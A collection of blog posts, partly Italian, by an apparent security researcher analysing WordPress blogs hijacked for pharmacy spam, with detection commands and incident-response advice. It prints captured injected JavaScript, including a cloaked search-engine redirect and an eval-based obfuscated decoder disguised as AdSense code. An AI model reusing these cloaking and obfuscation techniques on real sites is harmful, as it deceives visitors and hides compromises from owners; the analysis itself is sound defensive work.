Articoli con tag Wordpress

Spam con WordPress: esempi di codice iniettato

Indagando sul recente sfruttamento di blog basati su WordPress per carpirne il pagerank, al fine di vendere farmaci online, mi sono imbattuto in parecchi esempi di codice Javascript iniettato. Ne riporto quancuno, con l’analisi, al fine di mostrare cosa sia possibile fare anche solo con Javascript.

Partiamo dal primo esempio. Il codice era inserito in cima alla homepage di un blog:


<script language="JavaScript">
  var r=document.referrer,t="”,q;
  if (r.indexOf("google.") != -1) t = "q";
  if (r.indexOf("msn.") != -1) t = "q";
  if (r.indexOf("live.") != -1) t = "q";
  if (r.indexOf("yahoo.") != -1) t = "p";
  if (r.indexOf("altavista.") != -1) t = "q";
  if (r.indexOf("aol.") != -1) t = "query";
  if (r.indexOf("ask.") != -1) t = "q";
  if (document.cookie.length==0 && t.length &&
      (document.URL.indexOf("?certified=") != -1 ||
      document.URL.indexOf("?google-approved=") != -1) &&
      ((q=r.indexOf("?"+t+"=")) != -1 ||
      (q=r.indexOf("&"+t+"=")) != -1))
      {
	window.location="http://sito.farmaci/pharma/search.php?q=" +
	  r.substring(q+2+t.length).split("&")[0];
      }
</script>

La funzione dello script può essere riassunta in questo modo:

  1. Viene esaminato il referer: se è un motore di ricerca fra Google MSN, Live, Yahoo, Altavista, AOL o Ask, viene assegnata alla variabile t la stringa che identifica la query
  2. La sequenza di condizioni nell’ultimo statement if suona più o meno così:
    • se non ci sono cookie appartenenti al sito
    • se la variabile t non è vuota
    • l’url richiesto contiene ?certified= o ?google-approved=
    • vi è la sequenza di termini di ricerca nell’url del referer

    ossia, in breve, se l’url del referer è più o meno così: http://motorediricerca/search?hl=it&q=parole+chiave e l’url cercato è più o meno così: http://blog.violato/?certified=222 il browser viene rediretto a http://sito.farmaci/pharma/search.php?q=parole+chiave

Il redirect quindi non si attiva se un visitatore arriva da un altro sito qualsiasi, né se ha già visitato il sito in precedenza. Non si attiva neppure se la stringa di query manca o è incompleta nell’url del referer, determinando così un meccanismo di occultamento a danno sia del proprietario del sito che dei suoi amici e visitatori abituali.

Vediamo ora un secondo esempio.

Questo è presente sempre in alcuni dei blog compromessi. Il codice malevolo reagisce allo user agent: se è lo spider di un motore di ricerca noto, la pagina principale viene riempita di link a beneficio dello spider. Per maggiore sicurezza, i link sono all’interno di un <div> che ha ID uguale a _wp-footer. Notare che il tag non ha attributi di stile, e che l’ID assomiglia ad uno comunemente usato in WordPress, ma c’è un segno di underscore all’inizio. Ecco il codice Javascript associato:


<div id="_wp_footer">
...lunga sequenza di link con nomi di farmaci noti...
</div>
<script type="text/javascript"><!--
  google_ad_client = "pub-7652328300112263";
  google_ad_width = 728;
  google_ad_height = 15;
  google_ad_format = "728x15_0ads_al_s";
  google_ad_channel = "";
  function google_ads(str) {
    var idx = str.indexOf('?');
    if (idx == -1) return str;
    var len = str.length;
    var new_str = "”;
    var i = 1;
    for (++idx; idx < len; idx += 2,i++) {
      var ch = parseInt(str.substr(idx, 2), 16);
      new_str += String.fromCharCode((ch + i) % 256);
    }
  eval(new_str);
  }
  google_ads("http://pagead2.googlesyndication.com/pagead/show_ads.js?636D6071685F676C255D5A68385E565D545C612E64334D100E455C544248504F53434F0304084C4C50423A02373B44403B2F4609ED3838362CE800");
  //-->
</script>

Ad una occhiata distratta sembra un normale segmento di script per Google AdSense, ma qualcosa non quadra. Il for contiene una semplice funzione di decodifica. Basta sostituire alla funzione eval vicino alla fine con alert o con document.write: il risultato lo vediamo in figura.

Codice JS per occultare un blocco DIV

In stringa:


document.getElementById('_wp-footer').style.display="none";

La funzione di questo minuscolo pezzo di codice è di inserire lo stile display:none negli attributi del blocco div con ID _wp-footer, in breve di non visualizzarlo.
In questo modo se qualcuno cerca nelle pagine qualcosa di nascosto tramite lo stile display:none non lo troverà mai. Si tratta di protezione per offuscamento del codice.

Questi ed altri indizi mostrano che il codice malevolo è in evoluzione: a partire dalla variante detta Goro Spam, dove lo stile era esplicito nella pagina, si è passati all’offuscamento proprio di quello stile ed all’uso di un ID con nome molto comune. Sta diventando sempre più difficile trovare siti compromessi, certo non per via dell’esaurirsi dell’attacco, piuttosto per la maggiore sofisticazione impiegata dall’attaccante.

Appena avrò maggiori dettagli pubblicherò altri articoli. Nel frattempo, massima attenzione alle homepage dei vostri blog.

Tags: , , ,

Come agire se il proprio sito/blog viene compromesso

Negli ultimi giorni ho avuto a che fare con un attacco combinato di spammer che, sfruttando falle in WordPress o nella configurazione del server ospitante il blog, beneficiano del Pagerank dei blog colpiti per apparire nelle prime pagine dei risultati di ricerca.

A parte questo mi sono trovato nella situazione al limite del ridicolo in cui i gestori o proprietari dei blog ignorano i miei messaggi, o peggio mi rispondono che per loro è tutto a posto. Uno mi ha detto addirittura che il problema l’ha risolto settimane fa.

Il codice malevolo inserito nei blog è congegnato in modo da nascondersi a chi è visitatore abituale del blog. Quindi il proprietario ed i suoi amici e frequentatori non notano niente di strano. E se trovano strani link in ricerche su Google, quando li seguono non accade nulla, ma questa è un’altra storia. Ho avvertito tutti, qualcuno anche più volte, ho scritto al team di WordPress ed a Google. Staremo a vedere.

Ma la cosa che mi è saltata agli occhi è la mancanza di regole da seguire nel malaugurato caso che il proprio blog, o il proprio sito, venga compromesso da qualcuno che riesce a sfruttare un bug o un errore di configurazione.

Se l’intruso ha sfruttato la falla per motivi poco etici ma, per fortuna si è limitato a fare spam, come in questo caso, possiamo soprassedere e limitarci alle regole che seguono poco sotto. Se invece abbiamo il dubbio che possano essere stati commessi reati più gravi, non esitiamo a contattare le Forze dell’Ordine, senza toccare nulla. E’ fondamentale che le prove restino al loro posto. Qualsiasi intervento da parte nostra potrebbe cancellare indizi importanti per risalire al responsabile.

E’ un attimo, trovarsi coinvolti in indagini per truffa o peggio, senza averne colpa alcuna se non quella di usare un software vulnerabile e cadere vittima di un predone.

Se invece le cose sono meno gravi, come appunto in questo caso, possiamo seguire alcune semplici regole, mutuate dall’Informatica Forense:

  1. Non cancellare il codice del sito. Sia esso in PHP, ASP o altro, se ne deve fare un backup completo, usando ftp o un altro metodo, includendo eventuali temi, plugin o estensioni. Se l’intruso è riuscito a modificare il codice, il poter vedere quali siano le modifiche e gli eventuali file creati al momento dell’attacco è di grandissimo aiuto nel trovare il punto di ingresso, ed eventualmente turare una falla.
  2. Se il sito ha un’area di upload, salvarne tutto il contenuto. L’intruso potrebbe essere riuscito a infilare qualcosa in mezzo agli altri file, ed averlo usato per l’attacco.
  3. Se si ha accesso ai log del web server, salvarne una copia, possibilmente a partire dal giorno in cui potrebbe essere successo il fatto. Per questo ci può aiutare la data sui file modificati dall’intruso nel sito. Alcune vulnerabilità vengono sfruttate usando particolari URL, forgiati in modo da attivare un bug nel codice. Avere a disposizione i log del web server aiuta ad identificare la forma usata nell’URL per iniettare il codice dannoso.
  4. Se il sito usa un database, farne un backup, o un dump completo. Alcune intrusioni iniettano dati nell’archivio, o aggiungono tabelle al database. Averne una copia è un aiuto preziosissimo, sempre allo scopo di individuare il punto d’ingresso.
  5. Nel caso, raro in verità, in cui il server sia “in casa”, la cosa migliore sarebbe una immagine del disco bit a bit, una pratica da fare con strumenti tipici dell’Informatica Forense, ma questo richiede competenze specifiche.

La pratica comune è di reinstallare, o fare un upgrade. Questo va bene, ma in ogni caso conviene prima salvare tutto il materiale utile alle indagini, poi si procede ad una installazione pulita.

Non basta il solo aggiornamento del software: se l’intruso ha inserito codice nelle tabelle del database, fra i file di supporto o gli upload, questo verrà ereditato dal software aggiornato, vanificando l’operazione.

Tags: , , ,

Attention: your WordPress blog may be compromised.

Post updated after publish, see bottom

If you came to this article because you got an e-mail or a comment in your blog that ask to read it, please do not go away. Read the rest.

I’m an independent Information Security researcher. I’m investigating about an attack to some WordPress based blogs that involves spam and exploiting Google pagerank mechanism.

First of all, check yourself that your blog may be compromised. To do that, you need to do two different checks. First requires a little utility called “wget”, that is widely used in Linux, but it is available for Windows, too. Use this command:


wget -U googlebot -O home.html http://yourblogurl/

Note that -O and -U are both capital, and http://yourblogurl/ is the address of your blog homepage.
After command execution you will get a single file called home.html, that contains the HTML of your blog homepage. This is how your blog appears to the Google spider. Open it with a text editor, not from web browser. Examine the code, and you can see a block of code in a <div> block, that contains links that don’t belongs to your site. Usually it is shortly after the opening <body> tag, or near the end of page.
These links are about pills, ring tones, loan, and so on, like normal spam mails. You can compare with your homepage as appears on your browser source viewer, or you can get another copy with wget, without the -U option, so you get the “regular” homepage.

For the second check, open your browser and go to Google search. Type this query string:
buy valium inurl:yourblogurl
where yourblogurl is a part of the site name that is unique for your blog. I.e. if I want to check my blog I will type:
buy valium inurl:ismprofessional
Change text according to your website, and try other well-known drugs name, like the “blue pills”, named in every mail spam message.

The result of the query can be something like this:


Buy Valium from Sunrise Movies
All the information and advice you'll need to find the best
Buy Valium with the lowest Vicodin price, even if you're a first-time buyer.
www.yourblogurl/?item=137

The query part of the url string can change. This is an incomplete list:


?google-approved=number
?coupon_number=number
?item=number
?order_id=number
?certified=number
?pharma-certified=number

If you click on the link in the search results, apparently nothing special happens: you will go in your blog.

But try this: open cookie management of your browser, search for all cookies of your site and delete them. Then return to Google result page and click again on the link with your blog. This time something different happens: your browser will redirected to an online pharmacy.

How this is possible? I don’t know exactly, but I can do some hypotheses: If someone was able to crack something in your WordPress installation, the index.php file may contain malicious code that checks if you visited the blog in the past, through the cookie. If you have the cookie, the code do not activate itself, so you see your blog. If you do not visited blog before, and you come from a search engine, the malicious code redirect your browser to pharmacy site.

It is a sort of hiding mechanism to protect malicious code being discovered by regular blog visitor, or by blog owner.

If you do not understand terms I used, please ask to someone more skilled to explain in other words.

I wrote this message because I tried to warn blog owners of the problem, but my message got no replies, and I suspect that gets catch by spam filters. It is quite difficult to write about drugs spam without use same terms used by spammers.

If you get persuaded that my warning is true, please DO NOT delete your WordPress installation files on server. Save them on a zip file and, if you can, send the zipfile to me, so I can figure how malicious code was injected in your blog. After that you can delete all the file and reinstall WordPress. Check also the database, because some malicious code put extraneous data in WordPress tables.

For what I see, upgrading to WordPress 2.5 DO NOT solve the problem. Some of the hacked blogs already use version 2.5, but the problem persist.

Why I do all this work? Because I think that someone exploiting a bug or a flaw in WordPress, or in the web server configuration, to do dirty business. These people knows perfectly how Google Pagerank works, and are able to use it very well.

I earn nothing from that. I do only for ethical reason.

So, if you think that I am in error, please apologize, and you can forget any message I send to you.

In other case, you can contact me using this page.

At the moment I get more information, I will update this post, so stay tuned.

First information available

Thanks to Jay, we have first data about malicious code. There are some symptoms:

  • An extraneous file uploaded to the /tmp/ directory on the server, added as a WP add-on. Warning: It didn’t show up on the list, so it was only visible by looking at the actual database using phpMyAdmin.
  • New admin account in WordPress as well, called “WordPress”. Warning: invisible in the administration interface of WordPress.
  • Other PHP scripts placed around in various directory of server. Jay do not send me a sample, but he looked into the code, and these scripts allow remote shell and command execution.

Note that: WordPress was updated to last release, but the redirect code were still in place and active. Only after direct database editing the redirect stops working.

A different cracking scheme

During the analysis of a different blog, I found another type of penetration scheme:

  • The cracker targets old WordPress releases, known to be highly vulnerable, i.e. 2.0.3, 2.0.5 and so on.
  • It inject one or two files in unused directories, like wp-content/themes/classic, or in uploads directory.
  • These files are: a remote shell coded in PHP, and the “spam injector/redirector”.
  • It uses something called “doorgen”, but the name can be other

So, checks your WordPress installation for modified or extraneous files.

Update

I arranged an automated test to check for this problem. The page is called WordPress Autotest. Read instructions carefully.

Tags: , ,

WordPress + Pagerank + Spammer = PANIC!

NB: articolo modificato dopo la pubblicazione
Ci sono nuovi dettagli, vedi in fondo

Tutto inizia da un post di Maxime: questo. La catena di link mi ha portato qui, dove ci sono alcune particolari query per Google.

Per curiosità ne ho provata una, ed il risultato mi ha portato in modalità Allarme Rosso. Parto con i risultati dell’indagine, i dettagli li metto dopo.

Se avete WordPress, una qualsiasi versione, forse anche la 2.5 è vulnerabile, controllate attentamente il server su cui è ospitato per la presenza di file strani, di modifiche al codice stesso di WordPress ed al database. Non sembra essere questo problema l’origine, ma non ho dettagli a sufficienza per escluderlo del tutto.

L’attacco è compiuto in questo modo:

  • un blog viene compromesso, e viene installato o modificato qualcosa che reagisce in modo differente secondo due parametri del visitatore: il referer e lo user agent
  • Quando un visitatore raggiunge il sito viene controllato lo user agent: se è lo spider di un motore di ricerca la pagina visitata viene riempita di link di questo tipo:
    
    <a href="http://altroblog/?item=135" title="Buy Biaxin">Buy Biaxin</a>
    
    

    dove altroblog è il l’URL di un altro blog, appunto, oppure lo stesso URL del blog visitato. La stringa di query codificata nell’url può variare ed essere una di queste:

    
    ?google-approved=numero
    ?coupon_number=numero
    ?item=numero
    ?order_id=numero
    ?certified=numero
    ?pharma-certified=numero
    
    

    Ce ne sono probabilmente anche altre varianti, ma tutte contengono nomi di medicinali all’interno della parte testuale del tag <a>.
    Il risultato è che il sito compromesso, che probabilmente ha un buon pagerank, punta ad un altro sito con pagerank anch’esso buono. La conseguenza è che in una ricerca ad esempio su Google con parole chiave indicanti farmaci, questi siti compariranno fra i primi restituiti.

  • Qui entra la seconda fase dell’attacco: chi, cercando farmaci, clicca su uno di questi risultati in teoria dovrebbe finire sul blog, che in realtà non contiene niente del genere. Verosimilmente, il codice malevolo presente nel blog esamina il referer e se è un motore di ricerca viene risposto con un particolare header HTTP, il 302, con un link diretto al sito di farmaci online, ed il browser viene rediretto sul sito della farmacia.
  • Se un regolare visitatore del blog, e quindi anche il proprietario, visita direttamente il blog o segue uno dei link trovati nel motore di ricerca con il nome del farmaco, il blog appare integro e senza cose strane. Il trucco è nel controllo di presenza di un cookie di sessione che ogni blog WordPress inserisce nel browser di tutti i visitatori: se il cookie c’è, il sito appare normale, e il redirect è disattivato. Se si cancella il cookie e si clicca su uno dei link restituiti da Google nella ricerca di farmaci, il redirect avviene immediatamente.

In sostanza, si sfrutta il pagerank dei blog per avere più contatti al sito di farmaci online. Ma potrebbe non essere l’unico sfruttamento possibile, quindi evitate di giocare con browser vulnerabili.

Come diagnosticare il problema

Occorre semplicemente l’utility wget, possibilmente su una distribuzione Linux (per stare un po’ più tranquilli, ma non è essenziale).
Il primo test è per verificare la presenza del controllo user agent.

Si preleva la home page fingendo di essere lo spider di Google:


$ wget -U googlebot http://sito.sospetto/ -O spider.html

con questo comando salviamo la homepage del sito nel file spider.html. Il parametro -U googlebot serve a cambiare il nome del nostro user agent.

Di seguito si preleva di nuovo la home page senza presentarci come uno spider di un motore di ricerca noto:


$ wget -U xxf http://sito.sospetto/ -O normale.html

Poi si confrontano i due file. Se il file dello spider è molto più lungo, e presenta la sfilza di link con nomi di farmaci, il sito è compromesso.

Alcuni siti non presentano questo comportamento, ma solo quello del redirect. Per verificarne la presenza simuleremo un utente che arriva cliccando su un link restituito da una ricerca su Google, lo stesso link che viene mostrato associato ai singoli farmaci nel test precedente. Ad esempio, se il link mostrato è:



http://sito.vittima/?order_id=88

il comando wget da usare sarà:


wget --referer=http://www.google.it/search?q=cialis http://sito.vittima/?order_id=88 -O redirect.html

In caso di sito compromesso la pagina web scaricata appartiene a tutt’altro sito, a causa del redirect, ben visibile anche nei messaggi di lavoro di wget.

Altro sistema molto semplice per vedere se il proprio blog è stato compromesso è fare una ricerca con Google con questa stringa:
buy valium inurl:miourl
dove miourl è una parte del vostro nome del blog, una parte peculiare, ad esempio io cercherò cose come:
buy valium inurl:ismprofessional
Se i primi link riportati contengono il vostro sito con la formula di query mostrata sopra, oppure nella porzione di contenuto del sito mostrato da Google c’è una sequenza di “buy medicinale buy altromedicinale buy…”, è quasi certo che il sito è stato compromesso.

Altra cosa, un sito compromesso può mostrare tutti e due i comportamenti, ossia il redirect e la presentazione di pagine diverse a seconda dello user agent.

Siti al momento compromessi

Il totale dei siti compromessi che ho personalmente verificato è 18, e presentano uno o tutti e due i comportamenti (pagina forgiata per lo spider e redirect). Non appartengono allo stesso servizio di hosting, quindi escluderei un attacco di massa ad un singolo servizio di hosting.

Avevo pubblicato (stupidamente) la lista, ma l’ho tolta per non ingenerare confusione e non aiutare un eventuale script kiddie a scherzare con le disgrazie altrui. Alcuni sono stati contattati per e-mail o con un commento nel blog, per gli altri è impossibile contattare il proprietario o il responsabile, ed i commenti vengono ignorati.

In tre mi hanno risposto. Uno ha trovato il codice malevolo e lo ha rimosso, un altro mi ha detto che è un vecchio problema e che hanno aggiornato a WordPress 2.5 alcune settimane fa. Peccato che il problema sia ancora presente. Gli ho scritto di nuovo, ma direi che il messaggio è caduto nel vuoto. Il terzo ha corretto un problema, ma il sito ora presenta il comportamento di redirect che prima non aveva, e gli ho notificato l’evoluzione.

Ho anche il sospetto che qualche messaggio sia stato intercettato da filtri antispam troppo zelanti, rivelando così un ulteriore problema: è difficilissimo avvertire qualcuno che stanno usando il suo sito per fare pubblicità al Viagra, senza usare parole come “farmacia”, “pillole”, “medicinale” ed incocciare nei filtri antispam. Insomma sembra una partita al noto gioco Taboo.

In definitiva l’esperienza è deludente. Certo, uno sconosciuto che ti scrive e ti dice che probabilmente il tuo sito è stato violato porta immediatamente a pensare che ci sia qualcosa di poco chiaro sotto. Ma non è che ci siano molte altre strade.

Considerazioni finali

Potrebbe non essere un problema di WordPress, o almeno non solo. Se il vostro hosting non separa l’utente del web server dall’utente con cui scaricate i file nel server, che tradotto significa che il web server ha gli stessi diritti di scrittura nostri sui file di WordPress, potrebbe essere una grossa facilitazione per portare a termine l’attacco.

A quanto pare alcuni siti usano wordpress 2.5, l’ultima versione, quindi potrebbe non essere sufficiente un upgrade.

Fino a quando non avrò a disposizione il codice completo di un sito compromesso non potrò dire altro. Ovviamente il team di WordPress è stato avvertito dal 17 aprile.

Se avete dubbi, non esitate a cercare aiuto. Mi potete contattare usando le modalità indicate nella pagina apposita.

Primi dettagli sull’attacco

Grazie a Jay, abbiamo qualche notizia in più. A seguito di un primo attacco in cui aveva trovato codice Javascript iniettato nella homepage del blog, Jay aveva aggiornato WordPress alla versione 2.5. Questo aveva eliminato l’iniezione di codice, ma il comportamento di redirect era ancora al suo posto, indisturbato, e Jay non se ne era reso conto.

Dopo la mia segnalazione, esaminando meglio il server ha scoperto un file nella directory /tmp/ che era usato come plugin di WordPress, ma non era visibile dal pannello di amministrazione. Solo guardando dentro il database con phpMyAdmin lo aveva notato. A quel punto ha anche scoperto che c’era un account di livello admin chiamato WordPress, anche questo invisibile dal pannello di amministrazione.

Modificando a mano il database il comportamento di redirect è scomparso.

Ha anche trovato altri file PHP piazzati in varie altre directory, che contenevano codice capace di eseguire sia altri script PHP che comandi shell da remoto.

Purtroppo Jay non mi ha mandato i campioni di file iniettati nel server, per cui non ho altri dettagli.

Tags: , , ,